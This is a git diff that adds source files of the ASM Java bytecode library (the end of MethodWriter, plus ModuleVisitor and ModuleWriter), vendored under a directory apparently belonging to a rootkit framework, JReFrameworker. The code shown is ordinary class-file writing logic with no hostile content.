* {@link Opcodes#UNINITIALIZED_THIS}, or the internal name of a class, or a Label designating + * a NEW instruction (for uninitialized types). + */ + private void putFrameType(final Object type) { + if (type instanceof Integer) { + stackMapTableEntries.putByte(((Integer) type).intValue()); + } else if (type instanceof String) { + stackMapTableEntries + .putByte(Frame.ITEM_OBJECT) + .putShort(symbolTable.addConstantClass((String) type).index); + } else { + stackMapTableEntries + .putByte(Frame.ITEM_UNINITIALIZED) + .putShort(((Label) type).bytecodeOffset); + } + } + + // ----------------------------------------------------------------------------------------------- + // Utility methods + // ----------------------------------------------------------------------------------------------- + + /** + * Returns whether the attributes of this method can be copied from the attributes of the given + * method (assuming there is no method visitor between the given ClassReader and this + * MethodWriter). This method should only be called just after this MethodWriter has been created, + * and before any content is visited. It returns true if the attributes corresponding to the + * constructor arguments (at most a Signature, an Exception, a Deprecated and a Synthetic + * attribute) are the same as the corresponding attributes in the given method. + * + * @param source the source ClassReader from which the attributes of this method might be copied. + * @param methodInfoOffset the offset in 'source.b' of the method_info JVMS structure from which + * the attributes of this method might be copied. + * @param methodInfoLength the length in 'source.b' of the method_info JVMS structure from which + * the attributes of this method might be copied. + * @param hasSyntheticAttribute whether the method_info JVMS structure from which the attributes + * of this method might be copied contains a Synthetic attribute. + * @param hasDeprecatedAttribute whether the method_info JVMS structure from which the attributes + * of this method might be copied contains a Deprecated attribute. + * @param descriptorIndex the descriptor_index field of the method_info JVMS structure from which + * the attributes of this method might be copied. + * @param signatureIndex the constant pool index contained in the Signature attribute of the + * method_info JVMS structure from which the attributes of this method might be copied, or 0. + * @param exceptionsOffset the offset in 'source.b' of the Exceptions attribute of the method_info + * JVMS structure from which the attributes of this method might be copied, or 0. + * @return whether the attributes of this method can be copied from the attributes of the + * method_info JVMS structure in 'source.b', between 'methodInfoOffset' and 'methodInfoOffset' + * + 'methodInfoLength'. + */ + boolean canCopyMethodAttributes( + final ClassReader source, + final int methodInfoOffset, + final int methodInfoLength, + final boolean hasSyntheticAttribute, + final boolean hasDeprecatedAttribute, + final int descriptorIndex, + final int signatureIndex, + final int exceptionsOffset) { + // If the method descriptor has changed, with more locals than the max_locals field of the + // original Code attribute, if any, then the original method attributes can't be copied. A + // conservative check on the descriptor changes alone ensures this (being more precise is not + // worth the additional complexity, because these cases should be rare -- if a transform changes + // a method descriptor, most of the time it needs to change the method's code too). + if (source != symbolTable.getSource() + || descriptorIndex != this.descriptorIndex + || signatureIndex != this.signatureIndex + || hasDeprecatedAttribute != ((accessFlags & Opcodes.ACC_DEPRECATED) != 0)) { + return false; + } + boolean needSyntheticAttribute = + symbolTable.getMajorVersion() < Opcodes.V1_5 && (accessFlags & Opcodes.ACC_SYNTHETIC) != 0; + if (hasSyntheticAttribute != needSyntheticAttribute) { + return false; + } + if (exceptionsOffset == 0) { + if (numberOfExceptions != 0) { + return false; + } + } else if (source.readUnsignedShort(exceptionsOffset) == numberOfExceptions) { + int currentExceptionOffset = exceptionsOffset + 2; + for (int i = 0; i < numberOfExceptions; ++i) { + if (source.readUnsignedShort(currentExceptionOffset) != exceptionIndexTable[i]) { + return false; + } + currentExceptionOffset += 2; + } + } + // Don't copy the attributes yet, instead store their location in the source class reader so + // they can be copied later, in {@link #putMethodInfo}. Note that we skip the 6 header bytes + // of the method_info JVMS structure. + this.sourceOffset = methodInfoOffset + 6; + this.sourceLength = methodInfoLength - 6; + return true; + } + + /** + * Returns the size of the method_info JVMS structure generated by this MethodWriter. Also add the + * names of the attributes of this method in the constant pool. + * + * @return the size in bytes of the method_info JVMS structure. + */ + int computeMethodInfoSize() { + // If this method_info must be copied from an existing one, the size computation is trivial. + if (sourceOffset != 0) { + // sourceLength excludes the first 6 bytes for access_flags, name_index and descriptor_index. + return 6 + sourceLength; + } + // 2 bytes each for access_flags, name_index, descriptor_index and attributes_count. + int size = 8; + // For ease of reference, we use here the same attribute order as in Section 4.7 of the JVMS. + if (code.length > 0) { + if (code.length > 65535) { + throw new MethodTooLargeException( + symbolTable.getClassName(), name, descriptor, code.length); + } + symbolTable.addConstantUtf8(Constants.CODE); + // The Code attribute has 6 header bytes, plus 2, 2, 4 and 2 bytes respectively for max_stack, + // max_locals, code_length and attributes_count, plus the bytecode and the exception table. + size += 16 + code.length + Handler.getExceptionTableSize(firstHandler); + if (stackMapTableEntries != null) { + boolean useStackMapTable = symbolTable.getMajorVersion() >= Opcodes.V1_6; + symbolTable.addConstantUtf8(useStackMapTable ? Constants.STACK_MAP_TABLE : "StackMap"); + // 6 header bytes and 2 bytes for number_of_entries. + size += 8 + stackMapTableEntries.length; + } + if (lineNumberTable != null) { + symbolTable.addConstantUtf8(Constants.LINE_NUMBER_TABLE); + // 6 header bytes and 2 bytes for line_number_table_length. + size += 8 + lineNumberTable.length; + } + if (localVariableTable != null) { + symbolTable.addConstantUtf8(Constants.LOCAL_VARIABLE_TABLE); + // 6 header bytes and 2 bytes for local_variable_table_length. + size += 8 + localVariableTable.length; + } + if (localVariableTypeTable != null) { + symbolTable.addConstantUtf8(Constants.LOCAL_VARIABLE_TYPE_TABLE); + // 6 header bytes and 2 bytes for local_variable_type_table_length. + size += 8 + localVariableTypeTable.length; + } + if (lastCodeRuntimeVisibleTypeAnnotation != null) { + size += + lastCodeRuntimeVisibleTypeAnnotation.computeAnnotationsSize( + Constants.RUNTIME_VISIBLE_TYPE_ANNOTATIONS); + } + if (lastCodeRuntimeInvisibleTypeAnnotation != null) { + size += + lastCodeRuntimeInvisibleTypeAnnotation.computeAnnotationsSize( + Constants.RUNTIME_INVISIBLE_TYPE_ANNOTATIONS); + } + if (firstCodeAttribute != null) { + size += + firstCodeAttribute.computeAttributesSize( + symbolTable, code.data, code.length, maxStack, maxLocals); + } + } + if (numberOfExceptions > 0) { + symbolTable.addConstantUtf8(Constants.EXCEPTIONS); + size += 8 + 2 * numberOfExceptions; + } + boolean useSyntheticAttribute = symbolTable.getMajorVersion() < Opcodes.V1_5; + if ((accessFlags & Opcodes.ACC_SYNTHETIC) != 0 && useSyntheticAttribute) { + symbolTable.addConstantUtf8(Constants.SYNTHETIC); + size += 6; + } + if (signatureIndex != 0) { + symbolTable.addConstantUtf8(Constants.SIGNATURE); + size += 8; + } + if ((accessFlags & Opcodes.ACC_DEPRECATED) != 0) { + symbolTable.addConstantUtf8(Constants.DEPRECATED); + size += 6; + } + if (lastRuntimeVisibleAnnotation != null) { + size += + lastRuntimeVisibleAnnotation.computeAnnotationsSize( + Constants.RUNTIME_VISIBLE_ANNOTATIONS); + } + if (lastRuntimeInvisibleAnnotation != null) { + size += + lastRuntimeInvisibleAnnotation.computeAnnotationsSize( + Constants.RUNTIME_INVISIBLE_ANNOTATIONS); + } + if (lastRuntimeVisibleParameterAnnotations != null) { + size += + AnnotationWriter.computeParameterAnnotationsSize( + Constants.RUNTIME_VISIBLE_PARAMETER_ANNOTATIONS, + lastRuntimeVisibleParameterAnnotations, + visibleAnnotableParameterCount == 0 + ? lastRuntimeVisibleParameterAnnotations.length + : visibleAnnotableParameterCount); + } + if (lastRuntimeInvisibleParameterAnnotations != null) { + size += + AnnotationWriter.computeParameterAnnotationsSize( + Constants.RUNTIME_INVISIBLE_PARAMETER_ANNOTATIONS, + lastRuntimeInvisibleParameterAnnotations, + invisibleAnnotableParameterCount == 0 + ? lastRuntimeInvisibleParameterAnnotations.length + : invisibleAnnotableParameterCount); + } + if (lastRuntimeVisibleTypeAnnotation != null) { + size += + lastRuntimeVisibleTypeAnnotation.computeAnnotationsSize( + Constants.RUNTIME_VISIBLE_TYPE_ANNOTATIONS); + } + if (lastRuntimeInvisibleTypeAnnotation != null) { + size += + lastRuntimeInvisibleTypeAnnotation.computeAnnotationsSize( + Constants.RUNTIME_INVISIBLE_TYPE_ANNOTATIONS); + } + if (defaultValue != null) { + symbolTable.addConstantUtf8(Constants.ANNOTATION_DEFAULT); + size += 6 + defaultValue.length; + } + if (parameters != null) { + symbolTable.addConstantUtf8(Constants.METHOD_PARAMETERS); + // 6 header bytes and 1 byte for parameters_count. + size += 7 + parameters.length; + } + if (firstAttribute != null) { + size += firstAttribute.computeAttributesSize(symbolTable); + } + return size; + } + + /** + * Puts the content of the method_info JVMS structure generated by this MethodWriter into the + * given ByteVector. + * + * @param output where the method_info structure must be put. + */ + void putMethodInfo(final ByteVector output) { + boolean useSyntheticAttribute = symbolTable.getMajorVersion() < Opcodes.V1_5; + int mask = useSyntheticAttribute ? Opcodes.ACC_SYNTHETIC : 0; + output.putShort(accessFlags & ~mask).putShort(nameIndex).putShort(descriptorIndex); + // If this method_info must be copied from an existing one, copy it now and return early. + if (sourceOffset != 0) { + output.putByteArray(symbolTable.getSource().b, sourceOffset, sourceLength); + return; + } + // For ease of reference, we use here the same attribute order as in Section 4.7 of the JVMS. + int attributeCount = 0; + if (code.length > 0) { + ++attributeCount; + } + if (numberOfExceptions > 0) { + ++attributeCount; + } + if ((accessFlags & Opcodes.ACC_SYNTHETIC) != 0 && useSyntheticAttribute) { + ++attributeCount; + } + if (signatureIndex != 0) { + ++attributeCount; + } + if ((accessFlags & Opcodes.ACC_DEPRECATED) != 0) { + ++attributeCount; + } + if (lastRuntimeVisibleAnnotation != null) { + ++attributeCount; + } + if (lastRuntimeInvisibleAnnotation != null) { + ++attributeCount; + } + if (lastRuntimeVisibleParameterAnnotations != null) { + ++attributeCount; + } + if (lastRuntimeInvisibleParameterAnnotations != null) { + ++attributeCount; + } + if (lastRuntimeVisibleTypeAnnotation != null) { + ++attributeCount; + } + if (lastRuntimeInvisibleTypeAnnotation != null) { + ++attributeCount; + } + if (defaultValue != null) { + ++attributeCount; + } + if (parameters != null) { + ++attributeCount; + } + if (firstAttribute != null) { + attributeCount += firstAttribute.getAttributeCount(); + } + // For ease of reference, we use here the same attribute order as in Section 4.7 of the JVMS. + output.putShort(attributeCount); + if (code.length > 0) { + // 2, 2, 4 and 2 bytes respectively for max_stack, max_locals, code_length and + // attributes_count, plus the bytecode and the exception table. + int size = 10 + code.length + Handler.getExceptionTableSize(firstHandler); + int codeAttributeCount = 0; + if (stackMapTableEntries != null) { + // 6 header bytes and 2 bytes for number_of_entries. + size += 8 + stackMapTableEntries.length; + ++codeAttributeCount; + } + if (lineNumberTable != null) { + // 6 header bytes and 2 bytes for line_number_table_length. + size += 8 + lineNumberTable.length; + ++codeAttributeCount; + } + if (localVariableTable != null) { + // 6 header bytes and 2 bytes for local_variable_table_length. + size += 8 + localVariableTable.length; + ++codeAttributeCount; + } + if (localVariableTypeTable != null) { + // 6 header bytes and 2 bytes for local_variable_type_table_length. + size += 8 + localVariableTypeTable.length; + ++codeAttributeCount; + } + if (lastCodeRuntimeVisibleTypeAnnotation != null) { + size += + lastCodeRuntimeVisibleTypeAnnotation.computeAnnotationsSize( + Constants.RUNTIME_VISIBLE_TYPE_ANNOTATIONS); + ++codeAttributeCount; + } + if (lastCodeRuntimeInvisibleTypeAnnotation != null) { + size += + lastCodeRuntimeInvisibleTypeAnnotation.computeAnnotationsSize( + Constants.RUNTIME_INVISIBLE_TYPE_ANNOTATIONS); + ++codeAttributeCount; + } + if (firstCodeAttribute != null) { + size += + firstCodeAttribute.computeAttributesSize( + symbolTable, code.data, code.length, maxStack, maxLocals); + codeAttributeCount += firstCodeAttribute.getAttributeCount(); + } + output + .putShort(symbolTable.addConstantUtf8(Constants.CODE)) + .putInt(size) + .putShort(maxStack) + .putShort(maxLocals) + .putInt(code.length) + .putByteArray(code.data, 0, code.length); + Handler.putExceptionTable(firstHandler, output); + output.putShort(codeAttributeCount); + if (stackMapTableEntries != null) { + boolean useStackMapTable = symbolTable.getMajorVersion() >= Opcodes.V1_6; + output + .putShort( + symbolTable.addConstantUtf8( + useStackMapTable ? Constants.STACK_MAP_TABLE : "StackMap")) + .putInt(2 + stackMapTableEntries.length) + .putShort(stackMapTableNumberOfEntries) + .putByteArray(stackMapTableEntries.data, 0, stackMapTableEntries.length); + } + if (lineNumberTable != null) { + output + .putShort(symbolTable.addConstantUtf8(Constants.LINE_NUMBER_TABLE)) + .putInt(2 + lineNumberTable.length) + .putShort(lineNumberTableLength) + .putByteArray(lineNumberTable.data, 0, lineNumberTable.length); + } + if (localVariableTable != null) { + output + .putShort(symbolTable.addConstantUtf8(Constants.LOCAL_VARIABLE_TABLE)) + .putInt(2 + localVariableTable.length) + .putShort(localVariableTableLength) + .putByteArray(localVariableTable.data, 0, localVariableTable.length); + } + if (localVariableTypeTable != null) { + output + .putShort(symbolTable.addConstantUtf8(Constants.LOCAL_VARIABLE_TYPE_TABLE)) + .putInt(2 + localVariableTypeTable.length) + .putShort(localVariableTypeTableLength) + .putByteArray(localVariableTypeTable.data, 0, localVariableTypeTable.length); + } + if (lastCodeRuntimeVisibleTypeAnnotation != null) { + lastCodeRuntimeVisibleTypeAnnotation.putAnnotations( + symbolTable.addConstantUtf8(Constants.RUNTIME_VISIBLE_TYPE_ANNOTATIONS), output); + } + if (lastCodeRuntimeInvisibleTypeAnnotation != null) { + lastCodeRuntimeInvisibleTypeAnnotation.putAnnotations( + symbolTable.addConstantUtf8(Constants.RUNTIME_INVISIBLE_TYPE_ANNOTATIONS), output); + } + if (firstCodeAttribute != null) { + firstCodeAttribute.putAttributes( + symbolTable, code.data, code.length, maxStack, maxLocals, output); + } + } + if (numberOfExceptions > 0) { + output + .putShort(symbolTable.addConstantUtf8(Constants.EXCEPTIONS)) + .putInt(2 + 2 * numberOfExceptions) + .putShort(numberOfExceptions); + for (int exceptionIndex : exceptionIndexTable) { + output.putShort(exceptionIndex); + } + } + if ((accessFlags & Opcodes.ACC_SYNTHETIC) != 0 && useSyntheticAttribute) { + output.putShort(symbolTable.addConstantUtf8(Constants.SYNTHETIC)).putInt(0); + } + if (signatureIndex != 0) { + output + .putShort(symbolTable.addConstantUtf8(Constants.SIGNATURE)) + .putInt(2) + .putShort(signatureIndex); + } + if ((accessFlags & Opcodes.ACC_DEPRECATED) != 0) { + output.putShort(symbolTable.addConstantUtf8(Constants.DEPRECATED)).putInt(0); + } + if (lastRuntimeVisibleAnnotation != null) { + lastRuntimeVisibleAnnotation.putAnnotations( + symbolTable.addConstantUtf8(Constants.RUNTIME_VISIBLE_ANNOTATIONS), output); + } + if (lastRuntimeInvisibleAnnotation != null) { + lastRuntimeInvisibleAnnotation.putAnnotations( + symbolTable.addConstantUtf8(Constants.RUNTIME_INVISIBLE_ANNOTATIONS), output); + } + if (lastRuntimeVisibleParameterAnnotations != null) { + AnnotationWriter.putParameterAnnotations( + symbolTable.addConstantUtf8(Constants.RUNTIME_VISIBLE_PARAMETER_ANNOTATIONS), + lastRuntimeVisibleParameterAnnotations, + visibleAnnotableParameterCount == 0 + ? lastRuntimeVisibleParameterAnnotations.length + : visibleAnnotableParameterCount, + output); + } + if (lastRuntimeInvisibleParameterAnnotations != null) { + AnnotationWriter.putParameterAnnotations( + symbolTable.addConstantUtf8(Constants.RUNTIME_INVISIBLE_PARAMETER_ANNOTATIONS), + lastRuntimeInvisibleParameterAnnotations, + invisibleAnnotableParameterCount == 0 + ? lastRuntimeInvisibleParameterAnnotations.length + : invisibleAnnotableParameterCount, + output); + } + if (lastRuntimeVisibleTypeAnnotation != null) { + lastRuntimeVisibleTypeAnnotation.putAnnotations( + symbolTable.addConstantUtf8(Constants.RUNTIME_VISIBLE_TYPE_ANNOTATIONS), output); + } + if (lastRuntimeInvisibleTypeAnnotation != null) { + lastRuntimeInvisibleTypeAnnotation.putAnnotations( + symbolTable.addConstantUtf8(Constants.RUNTIME_INVISIBLE_TYPE_ANNOTATIONS), output); + } + if (defaultValue != null) { + output + .putShort(symbolTable.addConstantUtf8(Constants.ANNOTATION_DEFAULT)) + .putInt(defaultValue.length) + .putByteArray(defaultValue.data, 0, defaultValue.length); + } + if (parameters != null) { + output + .putShort(symbolTable.addConstantUtf8(Constants.METHOD_PARAMETERS)) + .putInt(1 + parameters.length) + .putByte(parametersCount) + .putByteArray(parameters.data, 0, parameters.length); + } + if (firstAttribute != null) { + firstAttribute.putAttributes(symbolTable, output); + } + } + + /** + * Collects the attributes of this method into the given set of attribute prototypes. + * + * @param attributePrototypes a set of attribute prototypes. + */ + final void collectAttributePrototypes(final Attribute.Set attributePrototypes) { + attributePrototypes.addAttributes(firstAttribute); + attributePrototypes.addAttributes(firstCodeAttribute); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ModuleVisitor.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ModuleVisitor.java new file mode 100644 index 0000000..415a43c --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ModuleVisitor.java @@ -0,0 +1,174 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * A visitor to visit a Java module. The methods of this class must be called in the following + * order: ( {@code visitMainClass} | ( {@code visitPackage} | {@code visitRequire} | {@code + * visitExport} | {@code visitOpen} | {@code visitUse} | {@code visitProvide} )* ) {@code visitEnd}. + * + * @author Remi Forax + * @author Eric Bruneton + */ +public abstract class ModuleVisitor { + /** + * The ASM API version implemented by this visitor. The value of this field must be one of {@link + * Opcodes#ASM6} or {@link Opcodes#ASM7}. + */ + protected final int api; + + /** The module visitor to which this visitor must delegate method calls. May be null. */ + protected ModuleVisitor mv; + + /** + * Constructs a new {@link ModuleVisitor}. + * + * @param api the ASM API version implemented by this visitor. Must be one of {@link Opcodes#ASM6} + * or {@link Opcodes#ASM7}. + */ + public ModuleVisitor(final int api) { + this(api, null); + } + + /** + * Constructs a new {@link ModuleVisitor}. + * + * @param api the ASM API version implemented by this visitor. Must be one of {@link Opcodes#ASM6} + * or {@link Opcodes#ASM7}. + * @param moduleVisitor the module visitor to which this visitor must delegate method calls. May + * be null. + */ + public ModuleVisitor(final int api, final ModuleVisitor moduleVisitor) { + if (api != Opcodes.ASM6 && api != Opcodes.ASM7) { + throw new IllegalArgumentException(); + } + this.api = api; + this.mv = moduleVisitor; + } + + /** + * Visit the main class of the current module. + * + * @param mainClass the internal name of the main class of the current module. + */ + public void visitMainClass(final String mainClass) { + if (mv != null) { + mv.visitMainClass(mainClass); + } + } + + /** + * Visit a package of the current module. + * + * @param packaze the internal name of a package. + */ + public void visitPackage(final String packaze) { + if (mv != null) { + mv.visitPackage(packaze); + } + } + + /** + * Visits a dependence of the current module. + * + * @param module the fully qualified name (using dots) of the dependence. + * @param access the access flag of the dependence among {@code ACC_TRANSITIVE}, {@code + * ACC_STATIC_PHASE}, {@code ACC_SYNTHETIC} and {@code ACC_MANDATED}. + * @param version the module version at compile time, or {@literal null}. + */ + public void visitRequire(final String module, final int access, final String version) { + if (mv != null) { + mv.visitRequire(module, access, version); + } + } + + /** + * Visit an exported package of the current module. + * + * @param packaze the internal name of the exported package. + * @param access the access flag of the exported package, valid values are among {@code + * ACC_SYNTHETIC} and {@code ACC_MANDATED}. + * @param modules the fully qualified names (using dots) of the modules that can access the public + * classes of the exported package, or {@literal null}. + */ + public void visitExport(final String packaze, final int access, final String... modules) { + if (mv != null) { + mv.visitExport(packaze, access, modules); + } + } + + /** + * Visit an open package of the current module. + * + * @param packaze the internal name of the opened package. + * @param access the access flag of the opened package, valid values are among {@code + * ACC_SYNTHETIC} and {@code ACC_MANDATED}. + * @param modules the fully qualified names (using dots) of the modules that can use deep + * reflection to the classes of the open package, or {@literal null}. + */ + public void visitOpen(final String packaze, final int access, final String... modules) { + if (mv != null) { + mv.visitOpen(packaze, access, modules); + } + } + + /** + * Visit a service used by the current module. The name must be the internal name of an interface + * or a class. + * + * @param service the internal name of the service. + */ + public void visitUse(final String service) { + if (mv != null) { + mv.visitUse(service); + } + } + + /** + * Visit an implementation of a service. + * + * @param service the internal name of the service. + * @param providers the internal names of the implementations of the service (there is at least + * one provider). + */ + public void visitProvide(final String service, final String... providers) { + if (mv != null) { + mv.visitProvide(service, providers); + } + } + + /** + * Visits the end of the module. This method, which is the last one to be called, is used to + * inform the visitor that everything have been visited. + */ + public void visitEnd() { + if (mv != null) { + mv.visitEnd(); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ModuleWriter.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ModuleWriter.java new file mode 100644 index 0000000..7658734 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ModuleWriter.java @@ -0,0 +1,253 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * A {@link ModuleVisitor} that generates the corresponding Module, ModulePackages and + * ModuleMainClass attributes, as defined in the Java Virtual Machine Specification (JVMS). + * + * @see JVMS + * 4.7.25 + * @see JVMS + * 4.7.26 + * @see JVMS + * 4.7.27 + * @author Remi Forax + * @author Eric Bruneton + */ +final class ModuleWriter extends ModuleVisitor { + + /** Where the constants used in this AnnotationWriter must be stored. */ + private final SymbolTable symbolTable; + + /** The module_name_index field of the JVMS Module attribute. */ + private final int moduleNameIndex; + + /** The module_flags field of the JVMS Module attribute. */ + private final int moduleFlags; + + /** The module_version_index field of the JVMS Module attribute. */ + private final int moduleVersionIndex; + + /** The requires_count field of the JVMS Module attribute. */ + private int requiresCount; + + /** The binary content of the 'requires' array of the JVMS Module attribute. */ + private final ByteVector requires; + + /** The exports_count field of the JVMS Module attribute. */ + private int exportsCount; + + /** The binary content of the 'exports' array of the JVMS Module attribute. */ + private final ByteVector exports; + + /** The opens_count field of the JVMS Module attribute. */ + private int opensCount; + + /** The binary content of the 'opens' array of the JVMS Module attribute. */ + private final ByteVector opens; + + /** The uses_count field of the JVMS Module attribute. */ + private int usesCount; + + /** The binary content of the 'uses_index' array of the JVMS Module attribute. */ + private final ByteVector usesIndex; + + /** The provides_count field of the JVMS Module attribute. */ + private int providesCount; + + /** The binary content of the 'provides' array of the JVMS Module attribute. */ + private final ByteVector provides; + + /** The provides_count field of the JVMS ModulePackages attribute. */ + private int packageCount; + + /** The binary content of the 'package_index' array of the JVMS ModulePackages attribute. */ + private final ByteVector packageIndex; + + /** The main_class_index field of the JVMS ModuleMainClass attribute, or 0. */ + private int mainClassIndex; + + ModuleWriter(final SymbolTable symbolTable, final int name, final int access, final int version) { + super(Opcodes.ASM7); + this.symbolTable = symbolTable; + this.moduleNameIndex = name; + this.moduleFlags = access; + this.moduleVersionIndex = version; + this.requires = new ByteVector(); + this.exports = new ByteVector(); + this.opens = new ByteVector(); + this.usesIndex = new ByteVector(); + this.provides = new ByteVector(); + this.packageIndex = new ByteVector(); + } + + @Override + public void visitMainClass(final String mainClass) { + this.mainClassIndex = symbolTable.addConstantClass(mainClass).index; + } + + @Override + public void visitPackage(final String packaze) { + packageIndex.putShort(symbolTable.addConstantPackage(packaze).index); + packageCount++; + } + + @Override + public void visitRequire(final String module, final int access, final String version) { + requires + .putShort(symbolTable.addConstantModule(module).index) + .putShort(access) + .putShort(version == null ? 0 : symbolTable.addConstantUtf8(version)); + requiresCount++; + } + + @Override + public void visitExport(final String packaze, final int access, final String... modules) { + exports.putShort(symbolTable.addConstantPackage(packaze).index).putShort(access); + if (modules == null) { + exports.putShort(0); + } else { + exports.putShort(modules.length); + for (String module : modules) { + exports.putShort(symbolTable.addConstantModule(module).index); + } + } + exportsCount++; + } + + @Override + public void visitOpen(final String packaze, final int access, final String... modules) { + opens.putShort(symbolTable.addConstantPackage(packaze).index).putShort(access); + if (modules == null) { + opens.putShort(0); + } else { + opens.putShort(modules.length); + for (String module : modules) { + opens.putShort(symbolTable.addConstantModule(module).index); + } + } + opensCount++; + } + + @Override + public void visitUse(final String service) { + usesIndex.putShort(symbolTable.addConstantClass(service).index); + usesCount++; + } + + @Override + public void visitProvide(final String service, final String... providers) { + provides.putShort(symbolTable.addConstantClass(service).index); + provides.putShort(providers.length); + for (String provider : providers) { + provides.putShort(symbolTable.addConstantClass(provider).index); + } + providesCount++; + } + + @Override + public void visitEnd() { + // Nothing to do. + } + + /** + * Returns the number of Module, ModulePackages and ModuleMainClass attributes generated by this + * ModuleWriter. + * + * @return the number of Module, ModulePackages and ModuleMainClass attributes (between 1 and 3). + */ + int getAttributeCount() { + return 1 + (packageCount > 0 ? 1 : 0) + (mainClassIndex > 0 ? 1 : 0); + } + + /** + * Returns the size of the Module, ModulePackages and ModuleMainClass attributes generated by this + * ModuleWriter. Also add the names of these attributes in the constant pool. + * + * @return the size in bytes of the Module, ModulePackages and ModuleMainClass attributes. + */ + int computeAttributesSize() { + symbolTable.addConstantUtf8(Constants.MODULE); + // 6 attribute header bytes, 6 bytes for name, flags and version, and 5 * 2 bytes for counts. + int size = + 22 + requires.length + exports.length + opens.length + usesIndex.length + provides.length; + if (packageCount > 0) { + symbolTable.addConstantUtf8(Constants.MODULE_PACKAGES); + // 6 attribute header bytes, and 2 bytes for package_count. + size += 8 + packageIndex.length; + } + if (mainClassIndex > 0) { + symbolTable.addConstantUtf8(Constants.MODULE_MAIN_CLASS); + // 6 attribute header bytes, and 2 bytes for main_class_index. + size += 8; + } + return size; + } + + /** + * Puts the Module, ModulePackages and ModuleMainClass attributes generated by this ModuleWriter + * in the given ByteVector. + * + * @param output where the attributes must be put. + */ + void putAttributes(final ByteVector output) { + // 6 bytes for name, flags and version, and 5 * 2 bytes for counts. + int moduleAttributeLength = + 16 + requires.length + exports.length + opens.length + usesIndex.length + provides.length; + output + .putShort(symbolTable.addConstantUtf8(Constants.MODULE)) + .putInt(moduleAttributeLength) + .putShort(moduleNameIndex) + .putShort(moduleFlags) + .putShort(moduleVersionIndex) + .putShort(requiresCount) + .putByteArray(requires.data, 0, requires.length) + .putShort(exportsCount) + .putByteArray(exports.data, 0, exports.length) + .putShort(opensCount) + .putByteArray(opens.data, 0, opens.length) + .putShort(usesCount) + .putByteArray(usesIndex.data, 0, usesIndex.length) + .putShort(providesCount) + .putByteArray(provides.data, 0, provides.length); + if (packageCount > 0) { + output + .putShort(symbolTable.addConstantUtf8(Constants.MODULE_PACKAGES)) + .putInt(2 + packageIndex.length) + .putShort(packageCount) + .putByteArray(packageIndex.data, 0, packageIndex.length); + } + if (mainClassIndex > 0) { + output + .putShort(symbolTable.addConstantUtf8(Constants.MODULE_MAIN_CLASS)) + .putInt(2) + .putShort(mainClassIndex); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Opcodes.java b/Cross 